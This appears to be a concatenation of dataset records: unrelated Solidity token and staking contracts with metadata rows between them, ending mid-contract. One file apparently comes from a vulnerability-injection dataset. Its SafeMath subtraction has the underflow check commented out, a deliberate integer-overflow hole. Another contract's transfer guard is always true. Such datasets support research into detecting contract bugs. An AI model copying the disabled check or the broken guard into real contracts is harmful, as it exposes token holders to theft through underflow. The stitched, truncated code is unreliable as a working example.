function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Billionaire is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Billionaire';
string private constant _symbol = 'BIL';
uint256 private _taxFee = 500;
uint256 private _burnFee = 0;
uint public max_tx_size = 100000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xa9A82A69Eb589fE1E354F699Ab46c269D4CAc772, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 322,969 | 11,317 |
a8639bfc4597071500f9e3903e02d1d5997c3727e2a2b06319afc9791ab89074
| 20,544 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c6/C68a0620d02e1Dd928a2020a2A701FDcb1c32869_BigToken.sol
| 4,331 | 16,345 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract BigToken is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
_init = false;
}
function changeVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = _vault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
isMinter[_auth] = true;
minters.push(_auth);
}
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
isMinter[_vault] = true;
minters.push(_vault);
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 325,451 | 11,318 |
15ab4db471f144ff6a0d738b567c1e49fa684f73dd6bbfb9bf51c1c116c1501c
| 11,025 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0xde7652862e1095b41b65f8c9040ab6c0a83a4f10_integerOverflow.sol
| 2,997 | 10,564 |
// /\ _ \/\ _`\ /\__ _\/\ _`\ /\ _`\
// \ \ \L\ \ \,\L\_\/_/\ \/\ \ \L\_\ \ \L\ \
// \ \ __ \/_\__ \ \ \ \ \ \ _\L\ \ , /
// \ \ \/\ \/\ \L\ \ \ \ \ \ \ \L\ \ \ \\ \
// \ \_\ \_\ `\____\ \ \_\ \ \____/\ \_\ \_\
// \/_/\/_/\/_____/ \/_/ \/___/ \/_/\/ /
// ASTER PROJECT - ASTER-3H
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
//require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Uniswap{
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function WETH() external pure returns (address);
}
interface Pool{
function primary() external view returns (address);
}
contract Poolable{
address payable internal constant _POOLADDRESS = 0x6fe6403080A3f80Da00387224E7846E1239DEC26;
function primary() private view returns (address) {
return Pool(_POOLADDRESS).primary();
}
modifier onlyPrimary() {
require(msg.sender == primary(), "Caller is not primary");
_;
}
}
contract Staker is Poolable{
using SafeMath for uint256;
uint constant internal DECIMAL = 10**18;
uint constant public INF = 33136721748;
uint private _rewardValue = 10**18;
mapping (address => uint256) public timePooled;
mapping (address => uint256) private internalTime;
mapping (address => uint256) private LPTokenBalance;
mapping (address => uint256) private rewards;
mapping (address => uint256) private referralEarned;
address public ast3Address;
address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public WETHAddress = Uniswap(UNIROUTER).WETH();
bool private _unchangeable = false;
bool private _tokenAddressGiven = false;
receive() external payable {
if(msg.sender != UNIROUTER){
stake(msg.sender, address(0));
}
}
function sendValue(address payable recipient, uint256 amount) internal {
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
//If true, no changes can be made
function unchangeable() public view returns (bool){
return _unchangeable;
}
function rewardValue() public view returns (uint){
return _rewardValue;
}
